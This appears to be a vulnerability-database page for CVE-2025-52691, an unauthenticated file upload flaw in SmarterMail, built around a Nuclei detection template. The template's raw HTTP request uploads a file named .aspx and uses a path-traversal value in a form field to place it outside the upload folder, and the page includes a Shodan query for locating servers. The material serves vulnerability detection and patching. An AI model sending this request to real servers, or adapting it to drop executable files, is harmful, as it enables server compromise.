CVE-2025-52691: SmarterMail - Unrestricted File Upload

2026-01-09 SmarterMail PoC Public

Description

Mail server contains an unrestricted file upload vulnerability allowing unauthenticated attackers to upload arbitrary files to any location, potentially enabling remote code execution.

PoC

id: CVE-2025-52691

info:
  name: SmarterMail - Unrestricted File Upload
  author: DhiyaneshDK,watchTowr
  severity: critical
  description: |
    Mail server contains an unrestricted file upload vulnerability allowing unauthenticated attackers to upload arbitrary files to any location, potentially enabling remote code execution.
  impact: |
    Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution and full server compromise.
  remediation: |
    Update to the latest version of the mail server.
  reference:
    - https://github.com/watchtowrlabs/watchTowr-vs-SmarterMail-CVE-2025-52691
    - https://www.csa.gov.sg/alerts-and-advisories/alerts/al-2025-124/
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"SmarterMail"
  tags: cve,cve2025,smartermail,file-upload,intrusive,rce,kev,vkev,vuln

variables:
  rand_string: '{{to_lower(rand_text_alpha(6))}}'
  file_name: '{{to_lower(rand_text_alpha(6))}}'

http:
  - raw:
      - |
        POST /api/upload HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="context"

        attachment
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="resumableIdentifier"

        fakeID
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="resumableFilename"

        {{file_name}}.aspx
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="contextData"

        {"guid":"dag/../../{{rand_string}}"}
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="whatever"; filename="{{file_name}}.jpg"

        Detection Artifact Generator
        ------WebKitFormBoundary7MA4YWxkTrZu0gW--

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"fileName":'
          - '{"key":'
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f8c18924636dbddece8838f93d904c94bf619feb418d564c8a78d08be122cb5e022100f788f438b708e6d76c99cdc95041a19d28c93c6c90f83e3e6342e1c1f3cd089f:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities